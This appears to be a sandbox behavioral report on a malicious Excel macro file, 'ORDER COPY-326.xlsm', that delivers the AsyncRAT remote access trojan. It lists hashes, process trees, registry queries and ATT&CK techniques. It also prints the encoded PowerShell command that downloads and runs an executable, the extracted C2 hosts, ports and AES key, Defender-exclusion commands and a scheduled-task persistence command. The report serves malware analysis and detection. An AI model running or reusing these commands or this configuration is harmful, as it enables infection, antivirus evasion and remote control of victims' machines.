Behavioral Report

Analysis

max time kernel
144s
max time network
148s
platform
windows10_x64
resource
win10v20201028
submitted
26-03-2021 15:45

Sharing

Copy URL

Twitter E-mail

Report Files Registry Network Processes Mutex Misc

General

Target

ORDER COPY-326.xlsm
Size

154KB
MD5

9a30f275af39b20ce59988b3c1724a68
SHA1

d35c17ba0c5f09cb212e0a50d117b91d278ec6b3
SHA256

7fe87c98f71cb7cfad4b7713284b7cfe1a0a5e059d5eb5e2c1b322426a6e52ff
SHA512

7898565b62505be720c625899fd3b9f1fb9338a8653066f2c9bf660a1f59fa16529ce4c8e6c1ee597fc3855992ca1e522dce536790c8268ca75684f79636031d

Score

10^/10

asyncrat rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cutt.ly/fxD7Hr0

Extracted

Family

asyncrat

Version

0.5.7B

chongmei33.publicvm.com:2703

chongmei33.publicvm.com:49703

chongmei33.publicvm.com:49746

185.165.153.116:2703

185.165.153.116:49703

185.165.153.116:49746

54.37.36.116:2703

54.37.36.116:49703

54.37.36.116:49746

185.244.30.92:2703

185.244.30.92:49703

185.244.30.92:49746

dongreg202020.duckdns.org:2703

dongreg202020.duckdns.org:49703

dongreg202020.duckdns.org:49746

178.33.222.241:2703

178.33.222.241:49703

178.33.222.241:49746

rahim321.duckdns.org:2703

rahim321.duckdns.org:49703

Attributes

aes_key
hGScKRB0VrlS4WpFo0N7AmnZQApV4qsi
anti_detection
false
autorun
false
bdos
false
delay
FEB
host
chongmei33.publicvm.com,185.165.153.116,54.37.36.116,185.244.30.92,dongreg202020.duckdns.org,178.33.222.241,rahim321.duckdns.org,79.134.225.92,37.120.208.36,178.33.222.243,87.98.245.48
hwid
3
install_file
install_folder
%AppData%
mutex
AsyncMutex_6SI8OkPnk
pastebin_config
null
port
2703,49703,49746
version
0.5.7B

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3280	4688	cmd.exe	EXCEL.EXE

Async RAT payload 2 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/2340-37-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat
behavioral2/memory/2340-38-0x000000000040C91E-mapping.dmp	asyncrat

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

21 3304 powershell.exe
23 3304 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

excel.exe

pid process

4572 excel.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

excel.exe

description pid process target process

PID 4572 set thread context of 2340 4572 excel.exe RegSvcs.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

TTPs:

System Information Discovery

flow	pid	process
21	3304	powershell.exe
23	3304	powershell.exe

pid	process
4572	excel.exe

description	pid	process	target process
PID 4572 set thread context of 2340	4572	excel.exe	RegSvcs.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

TTPs:

Query Registry System Information Discovery

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

TTPs:

Scheduled Task

Processes:

schtasks.exe

pid process

2644 schtasks.exe

pid	process
2644	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

TTPs:

Query Registry System Information Discovery

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

4688 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid	process
3304	powershell.exe
3304	powershell.exe
3304	powershell.exe
2172	powershell.exe
2308	powershell.exe
2172	powershell.exe
2308	powershell.exe
2308	powershell.exe
2172	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 3304 powershell.exe
Token: SeDebugPrivilege 2172 powershell.exe
Token: SeDebugPrivilege 2308 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

4688 EXCEL.EXE
4688 EXCEL.EXE

description	pid	process
Token: SeDebugPrivilege	3304	powershell.exe
Token: SeDebugPrivilege	2172	powershell.exe
Token: SeDebugPrivilege	2308	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

Processes:

EXCEL.EXE

pid	process
4688	EXCEL.EXE
4688	EXCEL.EXE
4688	EXCEL.EXE
4688	EXCEL.EXE
4688	EXCEL.EXE
4688	EXCEL.EXE
4688	EXCEL.EXE
4688	EXCEL.EXE
4688	EXCEL.EXE
4688	EXCEL.EXE
4688	EXCEL.EXE
4688	EXCEL.EXE
4688	EXCEL.EXE
4688	EXCEL.EXE

Suspicious use of WriteProcessMemory 26 IoCs

Processes:

EXCEL.EXEcmd.execmd.exeexcel.exe

description	pid	process	target process
PID 4688 wrote to memory of 3280	4688	EXCEL.EXE	cmd.exe
PID 4688 wrote to memory of 3280	4688	EXCEL.EXE	cmd.exe
PID 3280 wrote to memory of 3884	3280	cmd.exe	cmd.exe
PID 3280 wrote to memory of 3884	3280	cmd.exe	cmd.exe
PID 3884 wrote to memory of 3304	3884	cmd.exe	powershell.exe
PID 3884 wrote to memory of 3304	3884	cmd.exe	powershell.exe
PID 4688 wrote to memory of 4572	4688	EXCEL.EXE	excel.exe
PID 4688 wrote to memory of 4572	4688	EXCEL.EXE	excel.exe
PID 4688 wrote to memory of 4572	4688	EXCEL.EXE	excel.exe
PID 4572 wrote to memory of 2172	4572	excel.exe	powershell.exe
PID 4572 wrote to memory of 2172	4572	excel.exe	powershell.exe
PID 4572 wrote to memory of 2172	4572	excel.exe	powershell.exe
PID 4572 wrote to memory of 2644	4572	excel.exe	schtasks.exe
PID 4572 wrote to memory of 2644	4572	excel.exe	schtasks.exe
PID 4572 wrote to memory of 2644	4572	excel.exe	schtasks.exe
PID 4572 wrote to memory of 2308	4572	excel.exe	powershell.exe
PID 4572 wrote to memory of 2308	4572	excel.exe	powershell.exe
PID 4572 wrote to memory of 2308	4572	excel.exe	powershell.exe
PID 4572 wrote to memory of 2340	4572	excel.exe	RegSvcs.exe
PID 4572 wrote to memory of 2340	4572	excel.exe	RegSvcs.exe
PID 4572 wrote to memory of 2340	4572	excel.exe	RegSvcs.exe
PID 4572 wrote to memory of 2340	4572	excel.exe	RegSvcs.exe
PID 4572 wrote to memory of 2340	4572	excel.exe	RegSvcs.exe
PID 4572 wrote to memory of 2340	4572	excel.exe	RegSvcs.exe
PID 4572 wrote to memory of 2340	4572	excel.exe	RegSvcs.exe
PID 4572 wrote to memory of 2340	4572	excel.exe	RegSvcs.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ORDER COPY-326.xlsm"

Checks processor information in registry
Enumerates system info in registry
Suspicious behavior: AddClipboardFormatListener
Suspicious use of FindShellTrayWindow
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory

PID:4688

C:\Windows\SYSTEM32\cmd.exe

cmd /c cmd /c powershell -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAHUAdAB0AC4AbAB5AC8AZgB4AEQANwBIAHIAMAAnACwAKAAkAGUAbgB2ADoAVABlAG0AcAApACsAJwBcAGUAeABjAGUAbAAuAGUAeABlACcAKQA=

Process spawned unexpected child process
Suspicious use of WriteProcessMemory

PID:3280

C:\Windows\system32\cmd.exe

cmd /c powershell -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAHUAdAB0AC4AbAB5AC8AZgB4AEQANwBIAHIAMAAnACwAKAAkAGUAbgB2ADoAVABlAG0AcAApACsAJwBcAGUAeABjAGUAbAAuAGUAeABlACcAKQA=

Suspicious use of WriteProcessMemory

PID:3884

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAHUAdAB0AC4AbAB5AC8AZgB4AEQANwBIAHIAMAAnACwAKAAkAGUAbgB2ADoAVABlAG0AcAApACsAJwBcAGUAeABjAGUAbAAuAGUAeABlACcAKQA=

Blocklisted process makes network request
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken

PID:3304

C:\Users\Admin\AppData\Local\Temp\excel.exe

C:\Users\Admin\AppData\Local\Temp\excel.exe

Executes dropped EXE
Suspicious use of SetThreadContext
Suspicious use of WriteProcessMemory

PID:4572

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\excel.exe"

Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken

PID:2172

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\LDouGDF" /XML "C:\Users\Admin\AppData\Local\Temp\tmpE03F.tmp"

Creates scheduled task(s)

PID:2644

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\LDouGDF.exe"

Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken

PID:2308

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"

PID:2340

Network

MITRE ATT&CK Matrix

Collection

Command and Control

Credential Access

Defense Evasion

Discovery

Query Registry

T1012

System Information Discovery

T1082

Execution

Exfiltration

Impact

Initial Access

Lateral Movement

Persistence

Scheduled Task

T1053

Privilege Escalation

Replay Monitor

00:00 00:00

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
MD5
1c19c16e21c97ed42d5beabc93391fc5

SHA1
8ad83f8e0b3acf8dfbbf87931e41f0d664c4df68

SHA256
1bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05

SHA512
7d18776d8f649b3d29c182ff03efc6cea8b527542ee55304980f24577aae8b64e37044407776e220984346c3998ace5f8853afa58c8b38407482a728e9495e0c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
c663d9557fa0254804fec42bb4405176

SHA1
94267f9cfc0d2b4ff8a0dac4e3ba83c653059f0f

SHA256
bd1d4bcd23269679ebdaf29e7a5849da79c3041a30dc7063ed4688af7edc86cb

SHA512
582a5deb597273d93d71ef0d834b5d2705b2185417592edc6239aabb1103427c9edbd9e80362cfc414805e8652f000a1e2a93b925d1054cbc0df672104097d74

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
cd30984bf8e3c13d26a676550b5fd0f9

SHA1
56192fe0628d5289c1ebe54f9c9c8bf3acd012cf

SHA256
2d5299121502dc77de8c940c0adf5596d5680f675dcf2674c2b3d483e6545dce

SHA512
a6a3b76ecbf341085d9de8fbaa2db0a156be0b72215cbeeca2a2320892f7a5954dcfaca0f88600d881076e2fe2d47569d58effcd984e1384df43a1c10633ecef

Download Submit
C:\Users\Admin\AppData\Local\Temp\excel.exe
MD5
ca5c51d84cd6e45f8101de826bc54630

SHA1
e5cf0654be779833a993be013f7881de865e08f1

SHA256
f7b01c9dd7e2184231f40d009c54374d0cdcf563e987fe2a3586e6b767852dea

SHA512
107aa0ce3e1e7db1a6dbb381c9df3cbe80c42a5748ae53273f27d7b146f5469bb9965fdf3b248807c8dc674e45675e2cea99a115632cccf4e4e99070566888ae

Download Submit
C:\Users\Admin\AppData\Local\Temp\excel.exe
MD5
ca5c51d84cd6e45f8101de826bc54630

SHA1
e5cf0654be779833a993be013f7881de865e08f1

SHA256
f7b01c9dd7e2184231f40d009c54374d0cdcf563e987fe2a3586e6b767852dea

SHA512
107aa0ce3e1e7db1a6dbb381c9df3cbe80c42a5748ae53273f27d7b146f5469bb9965fdf3b248807c8dc674e45675e2cea99a115632cccf4e4e99070566888ae

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpE03F.tmp
MD5
e854765f814c8d56340c48a064c9d20e

SHA1
bcd58340710d9e128ebe28830e64cbeb9090c543

SHA256
272eb84bed6aae1f12e31f879e824201397e4c3b864dc59360ad40996d3372e3

SHA512
a80a0eebb038b094f03f789d38b5e2fd6ae80f4c1a9a01b5574e0568815638182b0a35164105655f9f33562dfe78a01e9796891ccd7cf86b8faaf8b694139a6a

Download Submit
memory/2172-32-0x0000000073900000-0x0000000073FEE000-memory.dmp

Filesize
6MB

Download
memory/2172-60-0x00000000073B0000-0x00000000073B1000-memory.dmp

Filesize
4KB

Download
memory/2172-45-0x0000000006CD0000-0x0000000006CD1000-memory.dmp

Filesize
4KB

Download
memory/2172-47-0x00000000076A0000-0x00000000076A1000-memory.dmp

Filesize
4KB

Download
memory/2172-90-0x0000000004263000-0x0000000004264000-memory.dmp

Filesize
4KB

Download
memory/2172-49-0x0000000007710000-0x0000000007711000-memory.dmp

Filesize
4KB

Download
memory/2172-36-0x0000000006D40000-0x0000000006D41000-memory.dmp

Filesize
4KB

Download
memory/2172-35-0x0000000004270000-0x0000000004271000-memory.dmp

Filesize
4KB

Download
memory/2172-86-0x000000007EC20000-0x000000007EC21000-memory.dmp

Filesize
4KB

Download
memory/2172-46-0x00000000075C0000-0x00000000075C1000-memory.dmp

Filesize
4KB

Download
memory/2172-54-0x0000000004260000-0x0000000004261000-memory.dmp

Filesize
4KB

Download
memory/2172-55-0x0000000004262000-0x0000000004263000-memory.dmp

Filesize
4KB

Download
memory/2172-84-0x0000000008EB0000-0x0000000008EB1000-memory.dmp

Filesize
4KB

Download
memory/2172-30-0x0000000000000000-mapping.dmp

Download
memory/2172-59-0x0000000006930000-0x0000000006931000-memory.dmp

Filesize
4KB

Download
memory/2172-62-0x0000000007E00000-0x0000000007E01000-memory.dmp

Filesize
4KB

Download
memory/2308-34-0x0000000000000000-mapping.dmp

Download
memory/2308-89-0x0000000004B63000-0x0000000004B64000-memory.dmp

Filesize
4KB

Download
memory/2308-56-0x0000000004B60000-0x0000000004B61000-memory.dmp

Filesize
4KB

Download
memory/2308-95-0x00000000098A0000-0x00000000098A1000-memory.dmp

Filesize
4KB

Download
memory/2308-57-0x0000000004B62000-0x0000000004B63000-memory.dmp

Filesize
4KB

Download
memory/2308-80-0x00000000071A0000-0x00000000071A1000-memory.dmp

Filesize
4KB

Download
memory/2308-42-0x0000000073900000-0x0000000073FEE000-memory.dmp

Filesize
6MB

Download
memory/2308-83-0x000000007F8F0000-0x000000007F8F1000-memory.dmp

Filesize
4KB

Download
memory/2308-91-0x00000000098B0000-0x00000000098B1000-memory.dmp

Filesize
4KB

Download
memory/2308-65-0x00000000093E0000-0x0000000009413000-memory.dmp

Filesize
204KB

Download
memory/2308-87-0x0000000009900000-0x0000000009901000-memory.dmp

Filesize
4KB

Download
memory/2340-37-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/2340-38-0x000000000040C91E-mapping.dmp

Download
memory/2340-82-0x00000000029D0000-0x00000000029D1000-memory.dmp

Filesize
4KB

Download
memory/2340-39-0x0000000073900000-0x0000000073FEE000-memory.dmp

Filesize
6MB

Download
memory/2644-31-0x0000000000000000-mapping.dmp

Download
memory/3280-7-0x0000000000000000-mapping.dmp

Download
memory/3304-14-0x00000135D9ED3000-0x00000135D9ED5000-memory.dmp

Filesize
8KB

Download
memory/3304-9-0x0000000000000000-mapping.dmp

Download
memory/3304-10-0x00007FFEE0AA0000-0x00007FFEE148C000-memory.dmp

Filesize
9MB

Download
memory/3304-11-0x00000135F2240000-0x00000135F2241000-memory.dmp

Filesize
4KB

Download
memory/3304-12-0x00000135F23F0000-0x00000135F23F1000-memory.dmp

Filesize
4KB

Download
memory/3304-13-0x00000135D9ED0000-0x00000135D9ED2000-memory.dmp

Filesize
8KB

Download
memory/3304-15-0x00000135D9ED6000-0x00000135D9ED8000-memory.dmp

Filesize
8KB

Download
memory/3884-8-0x0000000000000000-mapping.dmp

Download
memory/4572-29-0x0000000005AE0000-0x0000000005B1B000-memory.dmp

Filesize
236KB

Download
memory/4572-17-0x0000000000000000-mapping.dmp

Download
memory/4572-24-0x0000000004F80000-0x0000000004F81000-memory.dmp

Filesize
4KB

Download
memory/4572-23-0x00000000053E0000-0x00000000053E1000-memory.dmp

Filesize
4KB

Download
memory/4572-22-0x0000000004E40000-0x0000000004E41000-memory.dmp

Filesize
4KB

Download
memory/4572-20-0x0000000000540000-0x0000000000541000-memory.dmp

Filesize
4KB

Download
memory/4572-19-0x0000000073900000-0x0000000073FEE000-memory.dmp

Filesize
6MB

Download
memory/4572-25-0x0000000004E10000-0x0000000004E11000-memory.dmp

Filesize
4KB

Download
memory/4572-26-0x0000000005100000-0x0000000005101000-memory.dmp

Filesize
4KB

Download
memory/4572-27-0x0000000002730000-0x000000000273B000-memory.dmp

Filesize
44KB

Download
memory/4572-28-0x00000000050F0000-0x00000000050F1000-memory.dmp

Filesize
4KB

Download
memory/4688-6-0x00007FFEC57A0000-0x00007FFEC57B0000-memory.dmp

Filesize
64KB

Download
memory/4688-2-0x00007FFEC57A0000-0x00007FFEC57B0000-memory.dmp

Filesize
64KB

Download
memory/4688-5-0x00007FFEEB5D0000-0x00007FFEEBC07000-memory.dmp

Filesize
6MB

Download
memory/4688-4-0x00007FFEC57A0000-0x00007FFEC57B0000-memory.dmp

Filesize
64KB

Download
memory/4688-3-0x00007FFEC57A0000-0x00007FFEC57B0000-memory.dmp

Filesize
64KB

Download